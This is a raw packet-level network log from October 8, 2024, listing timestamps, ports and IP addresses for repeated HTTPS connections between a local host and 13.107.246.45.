Oct 8, 2024 02:46:27.350224972 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.350390911 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.350423098 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.366040945 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.366492987 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.366524935 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.366822004 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.366832018 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.399898052 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.400582075 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.400615931 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.400791883 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.400799990 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.402858973 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.403104067 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.403114080 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.403378963 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.403398991 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.413885117 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.414155960 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.414216042 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.414532900 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.414546013 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.471715927 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.471748114 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.471790075 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.471963882 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.471965075 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.472126007 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.472126007 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.472162962 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.472186089 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.474579096 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.474637032 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.474714041 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.474843025 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.474855900 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.500346899 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.500374079 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.500416040 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.500437975 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.500485897 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.500766993 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.500788927 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.500802994 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.500812054 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.503820896 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.503859043 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.503932953 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.504075050 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.504082918 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.504380941 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.505069971 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.505120993 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.505145073 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.505151987 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.505166054 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.505171061 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.507168055 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.507205963 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.507271051 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.507381916 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.507396936 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.522486925 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.522608995 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.522779942 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.522779942 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.522779942 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.524964094 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.525002003 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.525074959 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.525182009 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.525192976 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.751782894 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.751836061 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.029793978 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.030410051 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.030450106 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.030914068 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.030926943 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.133789062 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.133903027 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.133985043 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.134006023 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.134067059 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.134268045 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.134315968 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.134346962 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.134363890 CEST	443	51492	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.137012005 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.137114048 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.137232065 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.137331009 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.137351990 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.141855955 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.142317057 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.142344952 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.142940044 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.142946959 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.149429083 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.150057077 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.150084972 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.150698900 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.150710106 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.151696920 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.152066946 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.152075052 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.152755976 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.152760983 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.162462950 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.162844896 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.162867069 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.163487911 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.163502932 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.245436907 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.245608091 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.245660067 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.246973991 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.246993065 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.247004032 CEST	51493	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.247010946 CEST	443	51493	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.247869015 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.248008013 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.248083115 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.248378038 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.248378038 CEST	51495	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.248420954 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.248452902 CEST	443	51495	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.250773907 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.250802040 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.250998020 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.251178980 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.251189947 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.253521919 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.253550053 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.253609896 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.254123926 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.254158974 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.254205942 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.254209995 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.254252911 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.254287958 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.254298925 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.254522085 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.254529953 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.254539967 CEST	51494	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.254544020 CEST	443	51494	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.256951094 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.257038116 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.257123947 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.257339001 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.257373095 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.260457993 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.260632038 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.260694027 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.260709047 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.260718107 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.260756016 CEST	51496	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.260761023 CEST	443	51496	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.262506962 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.262593031 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.262687922 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.262783051 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.262809992 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.781101942 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.781630039 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.781723976 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.782211065 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.782224894 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.901614904 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.903139114 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.903204918 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.903294086 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.903379917 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.903379917 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.904777050 CEST	51497	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.904824972 CEST	443	51497	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.906877995 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.906945944 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.907052040 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.907243013 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.907263041 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.913399935 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.913938046 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.913969040 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.914516926 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.914524078 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.920080900 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.920454979 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.920471907 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.920942068 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.920945883 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.925838947 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.926275969 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.926301003 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.927011967 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.927064896 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.928194046 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.928550005 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.928571939 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:28.929006100 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:28.929017067 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.025676012 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.025744915 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.025825977 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.025830984 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.025906086 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.026077032 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.026215076 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.026247025 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.026262999 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.026292086 CEST	51500	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.026307106 CEST	443	51500	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.026400089 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.026434898 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.026434898 CEST	51499	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.026453018 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.026463032 CEST	443	51499	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.029135942 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.029299974 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.029401064 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.029941082 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.029989958 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030038118 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030077934 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030090094 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030128002 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030196905 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030198097 CEST	51501	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030271053 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030306101 CEST	443	51501	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030328035 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030343056 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030524015 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.030554056 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030766964 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030925035 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.030997038 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.031044960 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.031060934 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.031075001 CEST	51498	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.031080008 CEST	443	51498	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.032742977 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.032831907 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.032931089 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.033162117 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.033196926 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.033413887 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.033438921 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.033509970 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.033623934 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.033651114 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.552371025 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.553360939 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.553410053 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.557310104 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.557320118 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.652322054 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.652451038 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.652573109 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.652606964 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.652648926 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.652724028 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.652750969 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.652769089 CEST	51502	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.652776003 CEST	443	51502	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.655674934 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.655729055 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.655810118 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.655952930 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.655962944 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.681940079 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.682439089 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.682482958 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.683017015 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.683023930 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.690377951 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.690762043 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.690784931 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.691225052 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.691231012 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.695034027 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.695327997 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.695348978 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.695810080 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.695816994 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.700037956 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.700320959 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.700351000 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.700776100 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.700783968 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.781279087 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.781347036 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.781392097 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.781568050 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.781590939 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.781608105 CEST	51506	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.781615019 CEST	443	51506	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.784735918 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.784785032 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.784838915 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.784996033 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.785007954 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.793883085 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.793931961 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.793971062 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.794137001 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.794161081 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.794168949 CEST	51503	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.794173002 CEST	443	51503	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.796785116 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.796822071 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.796894073 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.797035933 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.797048092 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.798242092 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.798273087 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.798311949 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.798321962 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.798336983 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.798378944 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.798465014 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.798470974 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.798491955 CEST	51505	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.798496962 CEST	443	51505	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.800792933 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.800801992 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.800858974 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.800968885 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.800976992 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.803443909 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.803592920 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.803644896 CEST	51504	443	192.168.2.4	13.107.246.45
